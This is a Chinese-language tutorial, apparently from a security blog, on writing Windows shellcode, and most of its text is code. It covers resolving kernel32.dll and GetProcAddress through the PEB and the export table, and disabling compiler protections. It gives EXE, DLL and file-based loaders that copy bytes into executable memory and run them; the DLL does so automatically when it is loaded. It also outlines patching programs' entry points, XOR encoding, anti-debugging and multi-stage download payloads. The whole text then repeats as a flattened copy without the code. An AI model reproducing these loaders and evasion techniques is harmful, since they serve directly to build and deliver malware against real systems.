Shellcode编程——编写自己想要功能的Shellcode
字数 1490 2025-08-18 11:39:30

Shellcode编程技术详解

一、Shellcode基础概念

1. Shellcode定义

Shellcode本质是一段可以自主运行的汇编代码,具有以下特点:

  • 没有任何文件结构
  • 不依赖任何编译环境
  • 无法像exe一样直接双击运行
  • 通常用于漏洞利用、渗透测试和缓冲区溢出攻击

2. 为什么要自己编写Shellcode

  • 工具生成的Shellcode功能固定,无法扩展
  • 需要实现特定功能时(如新漏洞利用)
  • 在缓冲区溢出和蠕虫病毒中Shellcode是核心组件

二、Shellcode编写关键问题

1. 数据访问问题

问题:Shellcode需要访问数据(如字符串),但全局变量地址是硬编码的,而Shellcode可能在任何位置运行。

解决方案

  • 使用相对地址而非绝对地址
  • 将数据嵌入代码段中
  • 通过运行时计算获取数据位置

2. API地址获取问题

问题:Shellcode需要调用系统API,如何动态获取API地址?

解决方案

  • 通过PEB(进程环境块)遍历获取kernel32.dll基地址
  • 解析PE文件结构获取GetProcAddress地址
  • 使用GetProcAddress获取其他API地址

3. 未导入API的使用问题

问题:目标程序未导入所需API怎么办?

解决方案

  • 使用LoadLibrary动态加载所需DLL
  • 通过GetProcAddress获取函数地址

三、Shellcode编程框架

1. 框架结构

推荐使用以下文件结构(按编译顺序排列):

  1. 0.entry.cpp - 框架入口,生成最终Shellcode文件
  2. a.start.cpp - Shellcode开始位置,进行初始化操作
  3. b.work.cpp - Shellcode功能实现
  4. z.end.cpp - 标记Shellcode结束位置

2. 编译设置(VS2015)

  1. 关闭SDL检查
  2. 代码生成 -> 运行库 -> 多线程 (/MT)
  3. 平台工具集 -> Visual Studio 2015 - Windows XP (v140_xp)
  4. 禁用安全检查(GS)
  5. 关闭生成清单

3. 关键代码实现

获取kernel32.dll基地址

HMODULE getKernel32()
{
    HMODULE hModule = NULL;
    __asm {
        mov eax, fs:[0x30]    // PEB地址
        mov eax, [eax + 0x0C] // PEB_LDR_DATA
        mov eax, [eax + 0x14] // InInitializationOrderModuleList
        mov eax, [eax]        // 第二个模块通常是kernel32.dll
        mov eax, [eax]        // 第三个模块
        mov eax, [eax + 0x10] // 模块基地址
        mov hModule, eax
    }
    return hModule;
}

获取GetProcAddress地址

FARPROC getProcAddress(HMODULE hModuleBase)
{
    FARPROC pRet = NULL;
    PIMAGE_DOS_HEADER lpDosHeader;
    PIMAGE_NT_HEADERS32 lpNtHeaders;
    PIMAGE_EXPORT_DIRECTORY lpExports;
    
    lpDosHeader = (PIMAGE_DOS_HEADER)hModuleBase;
    lpNtHeaders = (PIMAGE_NT_HEADERS)((DWORD)hModuleBase + lpDosHeader->e_lfanew);
    
    // 检查导出表
    if (!lpNtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].Size ||
        !lpNtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress)
    {
        return pRet;
    }
    
    lpExports = (PIMAGE_EXPORT_DIRECTORY)((DWORD)hModuleBase + 
              (DWORD)lpNtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);
    
    if (!lpExports->NumberOfNames) return pRet;
    
    // 遍历导出表查找GetProcAddress
    PDWORD lpdwFunName = (PDWORD)((DWORD)hModuleBase + (DWORD)lpExports->AddressOfNames);
    PWORD lpwOrd = (PWORD)((DWORD)hModuleBase + (DWORD)lpExports->AddressOfNameOrdinals);
    PDWORD lpdwFunAddr = (PDWORD)((DWORD)hModuleBase + (DWORD)lpExports->AddressOfFunctions);
    
    for (DWORD dwLoop = 0; dwLoop <= lpExports->NumberOfNames - 1; dwLoop++)
    {
        char * pszFunction = (char*)(lpdwFunName[dwLoop] + (DWORD)hModuleBase);
        if (strcmp(pszFunction, "GetProcAddress") == 0)
        {
            pRet = (FARPROC)(lpdwFunAddr[lpwOrd[dwLoop]] + (DWORD)hModuleBase);
            break;
        }
    }
    return pRet;
}

字符串处理技巧

避免使用常规字符串声明方式:

// 错误方式(会产生绝对地址)
char str[] = "Hello World";

// 正确方式(嵌入代码段)
char szMsg[] = { 'H','e','l','l','o',0 };

四、Shellcode使用方式

1. 直接替换程序二进制

  1. 使用LordPE查看目标程序入口点
  2. 用010Editor打开目标程序,定位到入口点
  3. 删除原代码,插入Shellcode
  4. 保存运行

2. 代码加载方式

方式A:生成EXE

#include <windows.h>
#include <stdio.h>
#pragma comment(linker, "/section:.data,RWE")
unsigned char shellcode[] = "\xfc\xe8\x89\x00\x00\x00\x60\x89...";

void main()
{
    __asm {
        mov eax, offset shellcode
        jmp eax
    }
}

方式B:生成DLL

#include "stdafx.h"
#include<windows.h>
#include<iostream>
#pragma comment(linker, "/section:.data,RWE")

HANDLE My_hThread = NULL;
unsigned char shellcode[] = "\x00\x49\xbe\x77\x69\x6e\x...";

DWORD WINAPI ceshi(LPVOID pParameter)
{
    PVOID p = VirtualAlloc(NULL, sizeof(shellcode), 
                          MEM_COMMIT | MEM_RESERVE, 
                          PAGE_EXECUTE_READWRITE);
    memcpy(p, shellcode, sizeof(shellcode));
    CODE code = (CODE)p;
    code();
    return 0;
}

BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved)
{
    switch (ul_reason_for_call)
    {
    case DLL_PROCESS_ATTACH:
        My_hThread = ::CreateThread(NULL, 0, &ceshi, 0, 0, 0);
    case DLL_THREAD_ATTACH:
    case DLL_THREAD_DETACH:
    case DLL_PROCESS_DETACH:
        break;
    }
    return TRUE;
}

3. 自定义加载器

#include<stdio.h>
#include<stdlib.h>
#include<windows.h>

int main(int argc, char* argv[])
{
    HANDLE hFile = CreateFileA(argv[1], GENERIC_READ, 0, NULL, OPEN_ALWAYS, 0, NULL);
    if (hFile == INVALID_HANDLE_VALUE)
    {
        printf("Open File Error!%d\n", GetLastError());
        return -1;
    }
    
    DWORD dwSize = GetFileSize(hFile, NULL);
    LPVOID lpAddress = VirtualAlloc(NULL, dwSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    
    if (lpAddress == NULL)
    {
        printf("VirtualAlloc error:%d\n", GetLastError());
        CloseHandle(hFile);
        return -1;
    }
    
    DWORD dwRead;
    ReadFile(hFile, lpAddress, dwSize, &dwRead, 0);
    
    __asm {
        call lpAddress;
    }
    
    _flushall();
    system("pause");
    return 0;
}

五、高级技巧

1. Shellcode编码与加密

  • 使用XOR等简单加密算法
  • 运行时解密
  • 避免使用坏字符(如\x00)

2. 反调试技术

  • 检查调试器存在
  • 使用时间差检测
  • 异常处理技巧

3. 多阶段Shellcode

  1. 第一阶段:最小功能(加载器)
  2. 第二阶段:下载完整功能
  3. 第三阶段:执行最终payload

六、资源与工具

1. 推荐工具

  • 010Editor:二进制编辑
  • LordPE:PE文件分析
  • OllyDbg/x64dbg:调试分析

2. 学习资源

  • 《Windows平台shellcode开发入门》系列文章
  • 看雪学院相关教程
  • OneBugMan老师的公开课

七、注意事项

  1. 仅用于合法研究和授权测试
  2. 实际使用时需要考虑目标环境
  3. 注意Shellcode的兼容性问题
  4. 测试时使用虚拟机环境
  5. 遵守相关法律法规

通过掌握这些技术,你可以编写出功能强大、灵活定制的Shellcode,满足各种安全研究和渗透测试需求。

Shellcode编程技术详解 一、Shellcode基础概念 1. Shellcode定义 Shellcode本质是一段可以自主运行的汇编代码,具有以下特点: 没有任何文件结构 不依赖任何编译环境 无法像exe一样直接双击运行 通常用于漏洞利用、渗透测试和缓冲区溢出攻击 2. 为什么要自己编写Shellcode 工具生成的Shellcode功能固定,无法扩展 需要实现特定功能时(如新漏洞利用) 在缓冲区溢出和蠕虫病毒中Shellcode是核心组件 二、Shellcode编写关键问题 1. 数据访问问题 问题 :Shellcode需要访问数据(如字符串),但全局变量地址是硬编码的,而Shellcode可能在任何位置运行。 解决方案 : 使用相对地址而非绝对地址 将数据嵌入代码段中 通过运行时计算获取数据位置 2. API地址获取问题 问题 :Shellcode需要调用系统API,如何动态获取API地址? 解决方案 : 通过PEB(进程环境块)遍历获取kernel32.dll基地址 解析PE文件结构获取GetProcAddress地址 使用GetProcAddress获取其他API地址 3. 未导入API的使用问题 问题 :目标程序未导入所需API怎么办? 解决方案 : 使用LoadLibrary动态加载所需DLL 通过GetProcAddress获取函数地址 三、Shellcode编程框架 1. 框架结构 推荐使用以下文件结构(按编译顺序排列): 0.entry.cpp - 框架入口,生成最终Shellcode文件 a.start.cpp - Shellcode开始位置,进行初始化操作 b.work.cpp - Shellcode功能实现 z.end.cpp - 标记Shellcode结束位置 2. 编译设置(VS2015) 关闭SDL检查 代码生成 -> 运行库 -> 多线程 (/MT) 平台工具集 -> Visual Studio 2015 - Windows XP (v140_ xp) 禁用安全检查(GS) 关闭生成清单 3. 关键代码实现 获取kernel32.dll基地址 获取GetProcAddress地址 字符串处理技巧 避免使用常规字符串声明方式: 四、Shellcode使用方式 1. 直接替换程序二进制 使用LordPE查看目标程序入口点 用010Editor打开目标程序,定位到入口点 删除原代码,插入Shellcode 保存运行 2. 代码加载方式 方式A:生成EXE 方式B:生成DLL 3. 自定义加载器 五、高级技巧 1. Shellcode编码与加密 使用XOR等简单加密算法 运行时解密 避免使用坏字符(如\x00) 2. 反调试技术 检查调试器存在 使用时间差检测 异常处理技巧 3. 多阶段Shellcode 第一阶段:最小功能(加载器) 第二阶段:下载完整功能 第三阶段:执行最终payload 六、资源与工具 1. 推荐工具 010Editor:二进制编辑 LordPE:PE文件分析 OllyDbg/x64dbg:调试分析 2. 学习资源 《Windows平台shellcode开发入门》系列文章 看雪学院相关教程 OneBugMan老师的公开课 七、注意事项 仅用于合法研究和授权测试 实际使用时需要考虑目标环境 注意Shellcode的兼容性问题 测试时使用虚拟机环境 遵守相关法律法规 通过掌握这些技术,你可以编写出功能强大、灵活定制的Shellcode,满足各种安全研究和渗透测试需求。